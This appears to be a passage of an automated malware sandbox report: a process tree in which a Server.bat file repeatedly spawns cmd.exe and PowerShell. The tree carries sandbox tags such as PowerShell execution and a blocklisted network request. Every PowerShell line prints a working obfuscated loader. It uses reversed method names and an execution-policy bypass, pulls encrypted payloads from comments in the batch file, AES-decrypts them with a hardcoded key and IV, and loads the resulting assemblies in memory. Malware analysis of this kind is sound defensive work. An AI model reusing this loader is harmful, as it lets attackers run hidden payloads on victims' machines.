$VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        131⤵
        
        PID:1408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        129⤵
        
        PID:1744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        130⤵
        
        PID:4996
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        128⤵
        
        PID:2576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        129⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1100
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        127⤵
        
        PID:3032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        128⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        126⤵
        
        PID:3476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        127⤵
        
        PID:4496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        125⤵
        
        PID:4892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        126⤵
        
        PID:4240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        124⤵
        
        PID:4072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        125⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        123⤵
        
        PID:1576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        124⤵
        
        PID:3116
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        122⤵
        
        PID:3852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        123⤵
        Blocklisted process makes network request
        
        PID:1880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        121⤵
        
        PID:2404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        122⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        120⤵
        
        PID:1512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        121⤵
        
        PID:4380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        119⤵
        
        PID:3772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        120⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        118⤵
        
        PID:1792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        119⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        117⤵
        
        PID:1444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
